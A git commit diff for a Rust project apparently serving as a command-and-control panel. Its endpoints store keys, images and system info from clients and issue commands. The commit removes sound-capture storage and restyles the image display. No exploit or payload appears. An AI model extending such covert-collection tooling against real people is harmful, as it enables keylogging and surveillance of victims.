more cleanup

.env

@@ -5,7 +5,6 @@ ROCKET_ADDRESS = "127.0.0.1"
 ROCKET_PORT = "8888"
 KEY_API = "/keys"
 IMAGE_API= "/images"
-SOUND_API = "/sound"
 INFO_API = "/info"
 COMMANDS_API="/commands"
 BUFFERMAXLEN = 50

c2/src/backup.rs

@@ -20,7 +20,6 @@ pub struct DataFile {
 pub enum DataType {
     Keys,
     Image,
-    Sound,
     Info
 }
 
@@ -38,7 +37,6 @@ impl DataFile  {
         let path = match kind {
             DataType::Keys => basedir + &env::var("KEY_API").ok()?,
             DataType::Image => basedir + &env::var("IMAGE_API").ok()?,
-            DataType::Sound => basedir + &env::var("SOUND_API").ok()?,
             DataType::Info => basedir + &env::var("INFO_API").ok()?
         };
         if let Ok(_) = check_data_path(&path){

c2/templates/client.html.tera

@@ -66,22 +66,15 @@
         </tbody>
       </table>
     </div>
-    <button class="btn btn-primary" type="button" data-bs-toggle="collapse" data-bs-target="#images" aria-expanded="false" aria-controls="images">
-      Show images
-    </button>
+    <div style="text-align:center">
+      <button class="btn btn-outline-dark mb-5" type="button" data-bs-toggle="collapse" data-bs-target="#images" aria-expanded="false" aria-controls="images">
+        Show images
+      </button>
+    </div>
     <div class="w-75 mx-auto mt-2 collapse" id="images">
         <div class="container">
-            {% for image in images %}
-            {% if loop.index % 3 == 0%}
-              <div class="row-3">
-              {% endif %}
-
-              <div class="col-3">
-                <img src="{{image}}" class="img-thumbnail">
-              </div>
-                {% if loop.index % 3 == 0%}
-              </div>
-              {% endif %}
+          {% for image in images %}
+            <img src="{{image}}" class="rounded d-block mb-2 mx-auto">
           {% endfor %}
         </div>
       </div>